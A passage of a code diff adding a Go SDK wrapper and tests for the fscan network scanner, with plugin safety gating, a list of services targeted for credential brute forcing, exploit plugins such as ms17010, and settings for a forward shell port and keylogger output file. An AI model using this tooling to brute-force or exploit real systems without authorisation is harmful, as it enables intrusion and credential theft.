s.config.OnProgress + go func() { + ticker := time.NewTicker(500 * time.Millisecond) + defer ticker.Stop() + for { + select { + case <-ticker.C: + onProgress(ctrl.progress()) + case <-progressCtx.Done(): + return + } + } + }() + } + + var ( + errMu sync.Mutex + handleMu sync.Mutex + handlerErr error + ) + var stats ScanStats + + for _, target := range targets { + if err := ctx.Err(); err != nil { + if stored := getHandlerError(&errMu, &handlerErr); stored != nil { + return stats, stored + } + return stats, err + } + sink := func(raw *output.ScanResult) error { + if result, ok := convertOutputResult(raw); ok { + s.injectTaskID(&result) + handleMu.Lock() + if err := handle(result); err != nil { + handleMu.Unlock() + setHandlerError(&errMu, &handlerErr, err) + cancel() + return err + } + if s.config.OnResult != nil { + s.config.OnResult(result) + } + handleMu.Unlock() + } + return nil + } + report, err := s.scanOne(ctx, target, sink, opts) + stats.add(coreStatsToSDK(report)) + if err != nil { + if stored := getHandlerError(&errMu, &handlerErr); stored != nil { + return stats, stored + } + return stats, err + } + if stored := getHandlerError(&errMu, &handlerErr); stored != nil { + return stats, stored + } + } + + if stored := getHandlerError(&errMu, &handlerErr); stored != nil { + return stats, stored + } + return stats, ctx.Err() +} + +func (s *Scanner) injectTaskID(result *Result) { + if s.config.TaskID == "" { + return + } + if result.Details == nil { + result.Details = make(map[string]interface{}) + } + result.Details["task_id"] = s.config.TaskID +} + +func (s *Scanner) scanOne(ctx context.Context, target Target, sink common.ResultSink, opts scanOpts) (core.ScanReport, error) { + fv := buildFlagVars(s.config, target) + info := common.HostInfo{Host: strings.TrimSpace(target.Host), URL: strings.TrimSpace(target.URL)} + + if strings.TrimSpace(s.config.Language) != "" { + previousLanguage := i18n.GetLanguage() + i18n.SetLanguage(fv.Language) + defer i18n.SetLanguage(previousLanguage) + } + + cfg, state, err := common.BuildConfig(fv, &info) + if err != nil { + return core.ScanReport{}, err + } + if len(s.config.UserPassPairs) > 0 { + cfg.Credentials.UserPassPairs = make([]commonconfig.CredentialPair, 0, len(s.config.UserPassPairs)) + for _, pair := range s.config.UserPassPairs { + cfg.Credentials.UserPassPairs = append(cfg.Credentials.UserPassPairs, commonconfig.CredentialPair{ + Username: pair.Username, + Password: pair.Password, + }) + } + } + cfg.Output.DisableSave = true + cfg.Output.Silent = true + cfg.Output.DisableProgress = true + cfg.Output.ShowProgress = false + + session := common.NewScanSession(cfg, state, fv) + session.ResultSink = sink + + if opts.controller != nil { + session.PauseGate = opts.controller.pauseGate + opts.controller.addState(state) + } + + return core.RunScan(ctx, info, session) +} + +func validateConfig(config Config, targets []Target) error { + if len(targets) == 0 { + return fmt.Errorf("fscan: at least one target is required") + } + for _, name := range normalizePlugins(config.Plugins) { + if !plugins.Exists(name) { + return fmt.Errorf("fscan: plugin %q not found", name) + } + if !config.AllowUnsafePlugins && !IsSafePlugin(name) { + return fmt.Errorf("fscan: plugin %q is not enabled for embedded safe mode", name) + } + } + for _, target := range targets { + if strings.TrimSpace(target.Host) == "" && strings.TrimSpace(target.URL) == "" { + return fmt.Errorf("fscan: target host or URL is required") + } + if strings.TrimSpace(target.Host) != "" && strings.TrimSpace(target.URL) != "" { + return fmt.Errorf("fscan: target cannot set both Host and URL") + } + for _, port := range target.Ports { + if port < 1 || port > 65535 { + return fmt.Errorf("fscan: invalid port %d", port) + } + } + } + for _, port := range config.Ports { + if port < 1 || port > 65535 { + return fmt.Errorf("fscan: invalid port %d", port) + } + } + return nil +} + +func buildFlagVars(config Config, target Target) *common.FlagVars { + timeout := secondsOrDefault(config.Timeout, common.DefaultTimeout) + webTimeout := secondsOrDefault(config.WebTimeout, 5) + + threadNum := config.Threads + if threadNum <= 0 { + threadNum = common.DefaultThreadNum + } + moduleThreads := config.ModuleThreads + if moduleThreads <= 0 { + moduleThreads = 20 + } + maxRetries := config.MaxRetries + if maxRetries <= 0 { + maxRetries = 3 + } + maxRedirects := config.MaxRedirects + if maxRedirects <= 0 { + maxRedirects = 10 + } + pocConcurrency := config.POCConcurrency + if pocConcurrency <= 0 { + pocConcurrency = 20 + } + icmpRate := config.ICMPRate + if icmpRate <= 0 { + icmpRate = 0.1 + } + language := config.Language + if language == "" { + language = common.DefaultLanguage + } + + ports := config.Ports + if len(target.Ports) > 0 { + ports = target.Ports + } + + return &common.FlagVars{ + Host: strings.TrimSpace(target.Host), + Ports: formatPorts(ports), + ScanMode: formatPlugins(config), + ThreadNum: threadNum, + ModuleThreadNum: moduleThreads, + TimeoutSec: timeout, + GlobalTimeout: 180, + DisablePing: config.DisablePing, + DisableTcpProbe: config.DisableTCPProbe, + AliveOnly: false, + DisableBrute: config.DisableBrute, + MaxRetries: maxRetries, + Username: strings.Join(config.Usernames, ","), + Password: strings.Join(config.Passwords, ","), + Domain: config.Domain, + SSHKeyPath: config.SSHKeyPath, + TargetURL: strings.TrimSpace(target.URL), + WebTimeout: webTimeout, + MaxRedirects: maxRedirects, + HTTPProxy: config.HTTPProxy, + Socks5Proxy: config.Socks5Proxy, + Iface: config.Interface, + PocPath: config.POCPath, + PocName: config.POCName, + PocFull: config.POCFull, + PocNum: pocConcurrency, + DisablePocScan: config.DisablePOCScan, + PacketRateLimit: config.PacketRateLimit, + MaxPacketCount: config.MaxPacketCount, + ICMPRate: icmpRate, + Outputfile: "result.txt", + OutputFormat: "txt", + DisableSave: true, + Silent: true, + NoColor: true, + LogLevel: common.LogLevelError, + DisableProgress: true, + Language: language, + ForwardShellPort: 4444, + KeyloggerOutputFile: "keylog.txt", + } +} + +func formatPlugins(config Config) string { + parts := normalizePlugins(config.Plugins) + if len(parts) == 0 { + if config.AllowUnsafePlugins { + return "all" + } + parts = defaultSafePlugins + } + return strings.Join(parts, ",") +} + +func formatPorts(ports []int) string { + if len(ports) == 0 { + return commonconfig.MainPorts + } + ports = append([]int(nil), ports...) + sort.Ints(ports) + parts := make([]string, 0, len(ports)) + for _, port := range ports { + parts = append(parts, strconv.Itoa(port)) + } + return strings.Join(parts, ",") +} + +func normalizePlugins(pluginNames []string) []string { + parts := make([]string, 0, len(pluginNames)) + for _, plugin := range pluginNames { + plugin = strings.TrimSpace(plugin) + if plugin != "" { + parts = append(parts, plugin) + } + } + return parts +} + +func pluginTypes(name string) []string { + types := make([]string, 0, 4) + for _, pluginType := range []string{PluginTypeService, PluginTypeWeb, PluginTypeLocal, PluginTypeUDP} { + if plugins.HasType(name, pluginType) { + types = append(types, pluginType) + } + } + return types +} + +func pluginPorts(name string) []int { + ports := plugins.GetPluginPorts(name) + ports = append([]int(nil), ports...) + sort.Ints(ports) + return ports +} + +func pluginCapabilities(name string) []string { + capSet := map[string]struct{}{} + add := func(capability string) { + capSet[capability] = struct{}{} + } + + if plugins.HasType(name, PluginTypeService) || plugins.HasType(name, PluginTypeWeb) || plugins.HasType(name, PluginTypeUDP) { + add(PluginCapabilityDetect) + } + if serviceAuthPlugins[name] { + add(PluginCapabilityAuthCheck) + add(PluginCapabilityBrute) + } + if activePOCPlugins[name] || strings.Contains(name, "poc") { + add(PluginCapabilityPOC) + } + if plugins.HasType(name, PluginTypeLocal) { + add(PluginCapabilityLocalEffect) + } + + capabilities := make([]string, 0, len(capSet)) + for capability := range capSet { + capabilities = append(capabilities, capability) + } + sort.Strings(capabilities) + return capabilities +} + +func hasPluginCapability(name string, capabilities ...string) bool { + pluginCaps := pluginCapabilities(name) + for _, want := range capabilities { + for _, got := range pluginCaps { + if got == want { + return true + } + } + } + return false +} + +var serviceAuthPlugins = map[string]bool{ + "activemq": true, + "cassandra": true, + "elasticsearch": true, + "ftp": true, + "imap": true, + "kafka": true, + "ldap": true, + "memcached": true, + "mongodb": true, + "mssql": true, + "mysql": true, + "neo4j": true, + "oracle": true, + "pop3": true, + "postgresql": true, + "rabbitmq": true, + "redis": true, + "rsync": true, + "smb": true, + "smtp": true, + "snmp": true, + "ssh": true, + "telnet": true, + "vnc": true, +} + +var activePOCPlugins = map[string]bool{ + "ms17010": true, + "webpoc": true, +} + +func isDefaultSafePlugin(name string) bool { + for _, plugin := range defaultSafePlugins { + if plugin == name { + return true + } + } + return false +} + +func secondsOrDefault(value time.Duration, fallback int) int64 { + if value <= 0 { + return int64(fallback) + } + seconds := int64(value.Round(time.Second) / time.Second) + if seconds < 1 { + return 1 + } + return seconds +} + +func convertOutputResult(raw *output.ScanResult) (Result, bool) { + if raw == nil { + return Result{}, false + } + result := Result{ + Time: raw.Time, + Type: string(raw.Type), + Target: raw.Target, + Status: raw.Status, + Details: raw.Details, + } + return result, result.Target != "" || result.Status != "" +} + +func coreStatsToSDK(report core.ScanReport) ScanStats { + return ScanStats{ + Duration: report.Duration, + TasksTotal: report.TasksTotal, + TasksCompleted: report.TasksCompleted, + Packets: report.Packets, + TCPPackets: report.TCPPackets, + TCPSuccessPackets: report.TCPSuccessPackets, + TCPFailedPackets: report.TCPFailedPackets, + UDPPackets: report.UDPPackets, + HTTPPackets: report.HTTPPackets, + ResourceExhausted: report.ResourceExhausted, + } +} + +func (s *ScanStats) add(other ScanStats) { + s.Duration += other.Duration + s.TasksTotal += other.TasksTotal + s.TasksCompleted += other.TasksCompleted + s.Packets += other.Packets + s.TCPPackets += other.TCPPackets + s.TCPSuccessPackets += other.TCPSuccessPackets + s.TCPFailedPackets += other.TCPFailedPackets + s.UDPPackets += other.UDPPackets + s.HTTPPackets += other.HTTPPackets + s.ResourceExhausted += other.ResourceExhausted +} + +func snapshotResults(mu *sync.Mutex, results []Result) []Result { + mu.Lock() + defer mu.Unlock() + return append([]Result(nil), results...) +} + +func setHandlerError(mu *sync.Mutex, target *error, err error) { + mu.Lock() + defer mu.Unlock() + if *target == nil { + *target = err + } +} + +func getHandlerError(mu *sync.Mutex, err *error) error { + mu.Lock() + defer mu.Unlock() + return *err +} diff --git a/pkg/fscan/scanner_test.go b/pkg/fscan/scanner_test.go new file mode 100644 index 0000000..5d5a827 --- /dev/null +++ b/pkg/fscan/scanner_test.go @@ -0,0 +1,854 @@ +package fscan + +import ( + "context" + "errors" + "net" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/shadow1ng/fscan/common" + commonconfig "github.com/shadow1ng/fscan/common/config" + "github.com/shadow1ng/fscan/common/i18n" +) + +func TestBuildFlagVarsDefaults(t *testing.T) { + fv := buildFlagVars(Config{}, Target{Host: "127.0.0.1"}) + + if fv.Host != "127.0.0.1" { + t.Fatalf("Host = %q", fv.Host) + } + if fv.Ports != commonconfig.MainPorts { + t.Fatalf("Ports = %q, want MainPorts", fv.Ports) + } + if fv.ScanMode != formatPlugins(Config{Plugins: DefaultSafePlugins()}) { + t.Fatalf("ScanMode = %q, want safe defaults", fv.ScanMode) + } + if !fv.DisableSave || !fv.Silent || !fv.DisableProgress { + t.Fatalf("embedded defaults should disable output side effects") + } +} + +func TestBuildFlagVarsBlankPluginsUseSafeDefaults(t *testing.T) { + fv := buildFlagVars(Config{Plugins: []string{" ", "\t"}}, Target{Host: "127.0.0.1"}) + + if fv.ScanMode != formatPlugins(Config{Plugins: DefaultSafePlugins()}) { + t.Fatalf("ScanMode = %q, want safe defaults", fv.ScanMode) + } +} + +func TestBuildFlagVarsTargetPortsOverride(t *testing.T) { + fv := buildFlagVars(Config{Ports: []int{22, 80}}, Target{Host: "127.0.0.1", Ports: []int{3306, 22}}) + + if fv.Ports != "22,3306" { + t.Fatalf("Ports = %q, want sorted target override", fv.Ports) + } +} + +func TestValidateConfig(t *testing.T) { + if err := validateConfig(Config{}, nil); err == nil { + t.Fatal("expected missing target error") + } + if err := validateConfig(Config{}, []Target{{Host: "127.0.0.1", URL: "http://127.0.0.1"}}); err == nil { + t.Fatal("expected host/url conflict") + } + if err := validateConfig(Config{Plugins: []string{"definitely-missing"}}, []Target{{Host: "127.0.0.1"}}); err == nil { + t.Fatal("expected missing plugin error") + } + if err := validateConfig(Config{Plugins: []string{"webpoc"}}, []Target{{URL: "http://127.0.0.1"}}); err == nil { + t.Fatal("expected unsafe plugin error") + } + if err := validateConfig(Config{Plugins: []string{"webpoc"}, AllowUnsafePlugins: true}, []Target{{URL: "http://127.0.0.1"}}); err != nil { + t.Fatalf("unsafe plugin with opt-in failed: %v", err) + } + if err := ValidateConfig(Config{Targets: []Target{{Host: "127.0.0.1"}}}); err != nil { + t.Fatalf("ValidateConfig with config targets failed: %v", err) + } + if err := validateConfig(Config{}, []Target{{Host: "127.0.0.1", Ports: []int{70000}}}); err == nil { + t.Fatal("expected invalid port error") + } +} + +func TestIsSafePlugin(t *testing.T) { + if !IsSafePlugin("ssh") { + t.Fatal("ssh should be safe") + } + if IsSafePlugin("webpoc") { + t.Fatal("webpoc should not be safe") + } + if IsSafePlugin("ms17010") { + t.Fatal("active poc plugins should not be safe") + } + if IsSafePlugin("definitely-missing") { + t.Fatal("unknown plugin should not be safe") + } +} + +func TestListPlugins(t *testing.T) { + items := ListPlugins() + if len(items) == 0 { + t.Fatal("expected registered plugins") + } + for i := 1; i < len(items); i++ { + if items[i-1].Name > items[i].Name { + t.Fatalf("plugins not sorted: %q before %q", items[i-1].Name, items[i].Name) + } + } + ssh, ok := GetPlugin("ssh") + if !ok { + t.Fatal("missing ssh plugin") + } + if ssh.Name != "ssh" { + t.Fatalf("plugin name = %q, want ssh", ssh.Name) + } + if !ssh.Safe || !ssh.Default { + t.Fatalf("ssh safe/default = %v/%v, want true/true", ssh.Safe, ssh.Default) + } + if !containsString(ssh.Types, PluginTypeService) { + t.Fatalf("ssh types = %#v, want service", ssh.Types) + } + if !containsString(ssh.Capabilities, PluginCapabilityDetect) || !containsString(ssh.Capabilities, PluginCapabilityAuthCheck) { + t.Fatalf("ssh capabilities = %#v, want detect/auth-check", ssh.Capabilities) + } + if !containsInt(ssh.Ports, 22) { + t.Fatalf("ssh ports = %#v, want 22", ssh.Ports) + } + if _, ok := GetPlugin("definitely-missing"); ok { + t.Fatal("unknown plugin should not exist") + } + webpoc, ok := GetPlugin("webpoc") + if !ok { + t.Fatal("missing webpoc plugin") + } + if webpoc.Safe { + t.Fatal("webpoc should be marked unsafe") + } + if !containsString(webpoc.Types, PluginTypeWeb) { + t.Fatalf("webpoc types = %#v, want web", webpoc.Types) + } + if !containsString(webpoc.Capabilities, PluginCapabilityPOC) { + t.Fatalf("webpoc capabilities = %#v, want poc", webpoc.Capabilities) + } +} + +func TestScanHonorsCanceledContext(t *testing.T) { + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Plugins: []string{"redis"}, + }) + + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + _, err := scanner.Scan(ctx, Target{Host: "127.0.0.1", Ports: []int{6379}}) + if err != context.Canceled { + t.Fatalf("Scan error = %v, want context.Canceled", err) + } +} + +func TestScanCollectsResultsThroughSessionSink(t *testing.T) { + listener := startFTPListener(t) + defer listener.Close() + + var callbackCalls int32 + common.SetResultCallback(func(interface{}) { + atomic.AddInt32(&callbackCalls, 1) + }) + defer common.ClearResultCallback() + + var streamed int32 + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + OnResult: func(result Result) { + atomic.AddInt32(&streamed, 1) + }, + }) + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + port := listener.Addr().(*net.TCPAddr).Port + results, err := scanner.Scan(ctx, Target{Host: "127.0.0.1", Ports: []int{port}}) + if err != nil { + t.Fatal(err) + } + if len(results) == 0 { + t.Fatal("expected SDK results") + } + if got := atomic.LoadInt32(&streamed); got != int32(len(results)) { + t.Fatalf("streamed length = %d, want %d", got, len(results)) + } + if !hasResult(results, ResultTypePort, "open", "") { + t.Fatalf("missing port result: %#v", results) + } + if !hasResult(results, ResultTypeService, "FTP", "ftp") { + t.Fatalf("missing ftp plugin result: %#v", results) + } + if got := atomic.LoadInt32(&callbackCalls); got != 0 { + t.Fatalf("global callback calls = %d, want 0", got) + } +} + +func TestScanEachStreamsResults(t *testing.T) { + listener := startFTPListener(t) + defer listener.Close() + + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + }) + + var results []Result + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + port := listener.Addr().(*net.TCPAddr).Port + err := scanner.ScanEach(ctx, func(result Result) error { + results = append(results, result) + return nil + }, Target{Host: "127.0.0.1", Ports: []int{port}}) + if err != nil { + t.Fatal(err) + } + if !hasResult(results, ResultTypePort, "open", "") { + t.Fatalf("missing port result: %#v", results) + } + if !hasResult(results, ResultTypeService, "FTP", "ftp") { + t.Fatalf("missing ftp plugin result: %#v", results) + } +} + +func TestScanUsesConfigTargets(t *testing.T) { + listener := startFTPListener(t) + defer listener.Close() + + port := listener.Addr().(*net.TCPAddr).Port + scanner := NewScanner(Config{ + Targets: []Target{{Host: "127.0.0.1", Ports: []int{port}}}, + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + }) + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + results, err := scanner.Scan(ctx) + if err != nil { + t.Fatal(err) + } + if !hasPortResult(results, port) { + t.Fatalf("missing configured target port result: %#v", results) + } +} + +func TestScanReportReturnsSummaryAndStats(t *testing.T) { + listener := startFTPListener(t) + defer listener.Close() + + port := listener.Addr().(*net.TCPAddr).Port + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + }) + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + report, err := scanner.ScanReport(ctx, Target{Host: "127.0.0.1", Ports: []int{port}}) + if err != nil { + t.Fatal(err) + } + if len(report.Results) == 0 || report.Summary.Total != len(report.Results) { + t.Fatalf("report summary/results mismatch: %#v", report) + } + if report.Stats.Duration <= 0 { + t.Fatalf("report duration = %s, want positive", report.Stats.Duration) + } + if report.Stats.TasksCompleted == 0 { + t.Fatalf("report stats = %#v, want completed tasks", report.Stats) + } +} + +func TestScanExplicitTargetsOverrideConfigTargets(t *testing.T) { + configured := startFTPListener(t) + defer configured.Close() + explicit := startFTPListener(t) + defer explicit.Close() + + configuredPort := configured.Addr().(*net.TCPAddr).Port + explicitPort := explicit.Addr().(*net.TCPAddr).Port + scanner := NewScanner(Config{ + Targets: []Target{{Host: "127.0.0.1", Ports: []int{configuredPort}}}, + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + }) + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + results, err := scanner.Scan(ctx, Target{Host: "127.0.0.1", Ports: []int{explicitPort}}) + if err != nil { + t.Fatal(err) + } + if !hasPortResult(results, explicitPort) { + t.Fatalf("missing explicit target port result: %#v", results) + } + if hasPortResult(results, configuredPort) { + t.Fatalf("configured target should not run when explicit targets are passed: %#v", results) + } +} + +func TestScanEachReturnsHandlerError(t *testing.T) { + listener := startFTPListener(t) + defer listener.Close() + + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + }) + + stopErr := errors.New("stop scan") + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + port := listener.Addr().(*net.TCPAddr).Port + err := scanner.ScanEach(ctx, func(Result) error { + return stopErr + }, Target{Host: "127.0.0.1", Ports: []int{port}}) + if !errors.Is(err, stopErr) { + t.Fatalf("ScanEach error = %v, want %v", err, stopErr) + } +} + +func TestScanEachRequiresHandler(t *testing.T) { + scanner := NewScanner(Config{Targets: []Target{{Host: "127.0.0.1"}}}) + + if err := scanner.ScanEach(context.Background(), nil); err == nil { + t.Fatal("expected missing handler error") + } +} + +func TestScanEachRunsConcurrent(t *testing.T) { + first := startFTPListener(t) + defer first.Close() + second := startFTPListener(t) + defer second.Close() + + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + blocked := make(chan struct{}) + release := make(chan struct{}) + firstErr := make(chan error, 1) + var blockOnce sync.Once + + go func() { + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + }) + port := first.Addr().(*net.TCPAddr).Port + firstErr <- scanner.ScanEach(ctx, func(result Result) error { + if result.IsPort() { + blockOnce.Do(func() { close(blocked) }) + select { + case <-release: + case <-ctx.Done(): + return ctx.Err() + } + } + return nil + }, Target{Host: "127.0.0.1", Ports: []int{port}}) + }() + + select { + case <-blocked: + case <-time.After(2 * time.Second): + t.Fatal("first scan did not reach handler") + } + + secondErr := make(chan error, 1) + var secondResults []Result + go func() { + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + }) + port := second.Addr().(*net.TCPAddr).Port + secondErr <- scanner.ScanEach(ctx, func(result Result) error { + secondResults = append(secondResults, result) + return nil + }, Target{Host: "127.0.0.1", Ports: []int{port}}) + }() + + select { + case err := <-secondErr: + if err != nil { + close(release) + t.Fatalf("second scan failed: %v", err) + } + case <-time.After(2 * time.Second): + close(release) + t.Fatal("second scan blocked behind first scan") + } + if !hasResult(secondResults, ResultTypePort, "open", "") { + close(release) + t.Fatalf("missing second scan result: %#v", secondResults) + } + + close(release) + if err := <-firstErr; err != nil { + t.Fatalf("first scan failed: %v", err) + } +} + +func TestScanDoesNotReplaceGlobalRuntime(t *testing.T) { + listener := startFTPListener(t) + defer listener.Close() + + previousConfig := common.GetGlobalConfig() + previousState := common.GetGlobalState() + previousFlags := *common.GetFlagVars() + previousLanguage := i18n.GetLanguage() + defer func() { + common.SetGlobalConfig(previousConfig) + common.SetGlobalState(previousState) + *common.GetFlagVars() = previousFlags + i18n.SetLanguage(previousLanguage) + }() + + sentinelConfig := common.NewConfig() + sentinelState := common.NewState() + common.SetGlobalConfig(sentinelConfig) + common.SetGlobalState(sentinelState) + common.GetFlagVars().LogLevel = "sentinel" + i18n.SetLanguage(i18n.LangEN) + + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + Language: i18n.LangZH, + }) + port := listener.Addr().(*net.TCPAddr).Port + if _, err := scanner.Scan(context.Background(), Target{Host: "127.0.0.1", Ports: []int{port}}); err != nil { + t.Fatal(err) + } + + if common.GetGlobalConfig() != sentinelConfig { + t.Fatal("SDK scan replaced global config") + } + if common.GetGlobalState() != sentinelState { + t.Fatal("SDK scan replaced global state") + } + if common.GetFlagVars().LogLevel != "sentinel" { + t.Fatal("SDK scan replaced global flags") + } + if got := i18n.GetLanguage(); got != i18n.LangEN { + t.Fatalf("SDK scan leaked global language = %q, want %q", got, i18n.LangEN) + } +} + +func TestScanWithoutLanguageDoesNotTouchGlobalLanguage(t *testing.T) { + listener := startFTPListener(t) + defer listener.Close() + + previousLanguage := i18n.GetLanguage() + defer i18n.SetLanguage(previousLanguage) + i18n.SetLanguage(i18n.LangEN) + + scanner := NewScanner(Config{ + DisablePing: true, + DisableBrute: true, + Timeout: time.Second, + Threads: 16, + Plugins: []string{"ftp"}, + }) + port := listener.Addr().(*net.TCPAddr).Port + if _, err := scanner.Scan(context.Background(), Target{Host: "127.0.0.1", Ports: []int{port}}); err != nil { + t.Fatal(err) + } + + if got := i18n.GetLanguage(); got != i18n.LangEN { + t.Fatalf("SDK scan leaked global language = %q, want %q", got, i18n.LangEN) + } +} + +func startFTPListener(t *testing.T) net.Listener { + t.Helper() + + listener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + go func() { + for { + conn, err := listener.Accept() + if err != nil { + return + } + go func(conn net.Conn) { + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(2 * time.Second)) + _, _ = conn.Write([]byte("220 test FTP\r\n")) + buf := make([]byte, 64) + _, _ = conn.Read(buf) + }(conn) + } + }() + return listener +} + +func containsString(items []string, value string) bool { + for _, item := range items { + if item == value { + return true + } + } + return false +} + +func containsInt(items []int, value int) bool { + for _, item := range items { + if item == value { + return true + } + } + return false +} + +func hasResult(results []Result, resultType, statusText, plugin string) bool { + for _, result := range results { + if result.Type != resultType || !strings.Contains(result.Status, statusText) { + continue + } + if plugin == "" { + return true + } + if result.Details != nil && result.Details["plugin"] == plugin { + return true + } + } + return false +} + +func hasPortResult(results []Result, port int) bool { + for _, result := range results { + if !result.IsPort() { + continue + } + if got, ok := result.Port(); ok && got == port { + return true + } + } + return false +} + +func TestDefaultSafePluginsReturnsIndependentCopy(t *testing.T) { + a := DefaultSafePlugins() + b := DefaultSafePlugins() + if len(a) == 0 { + t.Fatal("empty default safe plugins") + } + a[0] = "MODIFIED" + if b[0] == "MODIFIED" { + t.Fatal("DefaultSafePlugins returned shared slice") + } +} + +func TestGetPluginWhitespaceAndEmpty(t *testing.T) { + if _, ok := GetPlugin(""); ok { + t.Fatal("empty name should not exist") + } + if _, ok := GetPlugin(" "); ok { + t.Fatal("whitespace name should not exist") + } + if info, ok := GetPlugin(" ssh "); !ok || info.Name != "ssh" { + t.Fatalf("trimmed lookup failed: %#v/%v", info, ok) + } +} + +func TestPluginCapabilitiesEmpty(t *testing.T) { + if caps := PluginCapabilities(""); caps != nil { + t.Fatalf("empty name caps = %#v, want nil", caps) + } + if caps := PluginCapabilities("definitely-missing"); caps != nil { + t.Fatalf("missing plugin caps = %#v, want nil", caps) + } +} + +func TestIsSafePluginWhitespace(t *testing.T) { + if IsSafePlugin("") { + t.Fatal("empty should not be safe") + } + if IsSafePlugin(" ") { + t.Fatal("whitespace should not be safe") + } + if !IsSafePlugin(" ssh ") { + t.Fatal("trimmed ssh should be safe") + } +} + +func TestValidateConfigPortOnConfig(t *testing.T) { + if err := validateConfig(Config{Ports: []int{0}}, []Target{{Host: "127.0.0.1"}}); err == nil { + t.Fatal("expected invalid config port error for port 0") + } + if err := validateConfig(Config{Ports: []int{99999}}, []Target{{Host: "127.0.0.1"}}); err == nil { + t.Fatal("expected invalid config port error for port 99999") + } +} + +func TestValidateConfigEmptyTarget(t *testing.T) { + if err := validateConfig(Config{}, []Target{{}}); err == nil { + t.Fatal("expected empty target error") + } +} + +func TestBuildFlagVarsCustomValues(t *testing.T) { + config := Config{ + Timeout: 10 * time.Second, + WebTimeout: 15 * time.Second, + Threads: 100, + ModuleThreads: 50, + MaxRetries: 5, + MaxRedirects: 3, + POCConcurrency: 10, + ICMPRate: 0.5, + DisablePing: true, + DisableTCPProbe: true, + DisableBrute: true, + Domain: "WORKGROUP", + SSHKeyPath: "/tmp/id_rsa", + HTTPProxy: "http://proxy:8080", + Socks5Proxy: "127.0.0.1:1080", + Interface: "eth0", + POCPath: "/tmp/pocs", + POCName: "test-poc", + POCFull: true, + DisablePOCScan: true, + Language: "zh", + Usernames: []string{"admin", "root"}, + Passwords: []string{"pass1", "pass2"}, + } + fv := buildFlagVars(config, Target{Host: "10.0.0.1"}) + + if fv.TimeoutSec != 10 { + t.Fatalf("TimeoutSec = %d, want 10", fv.TimeoutSec) + } + if fv.WebTimeout != 15 { + t.Fatalf("WebTimeout = %d, want 15", fv.WebTimeout) + } + if fv.ThreadNum != 100 { + t.Fatalf("ThreadNum = %d, want 100", fv.ThreadNum) + } + if fv.ModuleThreadNum != 50 { + t.Fatalf("ModuleThreadNum = %d, want 50", fv.ModuleThreadNum) + } + if fv.MaxRetries != 5 { + t.Fatalf("MaxRetries = %d, want 5", fv.MaxRetries) + } + if fv.MaxRedirects != 3 { + t.Fatalf("MaxRedirects = %d, want 3", fv.MaxRedirects) + } + if fv.PocNum != 10 { + t.Fatalf("PocNum = %d, want 10", fv.PocNum) + } + if fv.ICMPRate != 0.5 { + t.Fatalf("ICMPRate = %f, want 0.5", fv.ICMPRate) + } + if !fv.DisablePing { + t.Fatal("DisablePing should be true") + } + if !fv.DisableTcpProbe { + t.Fatal("DisableTcpProbe should be true") + } + if !fv.DisableBrute { + t.Fatal("DisableBrute should be true") + } + if fv.Domain != "WORKGROUP" { + t.Fatalf("Domain = %q", fv.Domain) + } + if fv.SSHKeyPath != "/tmp/id_rsa" { + t.Fatalf("SSHKeyPath = %q", fv.SSHKeyPath) + } + if fv.HTTPProxy != "http://proxy:8080" { + t.Fatalf("HTTPProxy = %q", fv.HTTPProxy) + } + if fv.Socks5Proxy != "127.0.0.1:1080" { + t.Fatalf("Socks5Proxy = %q", fv.Socks5Proxy) + } + if fv.Iface != "eth0" { + t.Fatalf("Iface = %q", fv.Iface) + } + if fv.PocPath != "/tmp/pocs" { + t.Fatalf("PocPath = %q", fv.PocPath) + } + if fv.PocName != "test-poc" { + t.Fatalf("PocName = %q", fv.PocName) + } + if !fv.PocFull { + t.Fatal("PocFull should be true") + } + if !fv.DisablePocScan { + t.Fatal("DisablePocScan should be true") + } + if fv.Language != "zh" { + t.Fatalf("Language = %q", fv.Language) + } + if fv.Username != "admin,root" { + t.Fatalf("Username = %q", fv.Username) + } + if fv.Password != "pass1,pass2" { + t.Fatalf("Password = %q", fv.Password) + } +} + +func TestBuildFlagVarsURLTarget(t *testing.T) { + fv := buildFlagVars(Config{}, Target{URL: "https://example.com"}) + if fv.TargetURL != "https://example.com" { + t.Fatalf("TargetURL = %q", fv.TargetURL) + } + if fv.Host != "" { + t.Fatalf("Host should be empty for URL target, got %q", fv.Host) + } +} + +func TestFormatPortsEmpty(t *testing.T) { + result := formatPorts(nil) + if result != commonconfig.MainPorts { + t.Fatalf("formatPorts(nil) = %q, want MainPorts", result) + } +} + +func TestFormatPortsSorted(t *testing.T) { + result := formatPorts([]int{443, 22, 80}) + if result != "22,80,443" { + t.Fatalf("formatPorts = %q, want sorted", result) + } +} + 